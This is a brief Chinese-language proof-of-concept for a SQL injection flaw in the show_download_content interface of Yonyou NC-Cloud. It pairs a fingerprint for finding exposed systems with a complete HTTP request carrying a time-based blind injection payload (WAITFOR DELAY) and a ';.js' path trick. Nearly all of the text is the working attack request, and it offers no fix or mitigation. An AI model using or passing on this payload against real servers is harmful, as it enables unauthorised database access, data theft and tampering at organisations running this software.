用友NC-Cloud系统show_download_content接口存在SQL注入漏洞,允许攻击者通过恶意构造的SQL语句操控数据库,从而导致数据泄露、篡改或破坏,严重威胁系统安全。
app="用友-NC-Cloud"
GET /ebvp/infopub/show_download_content;.js?id=1';WAITFOR+DELAY+'0:0:6'-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: zh-CN
Connection: keep-alive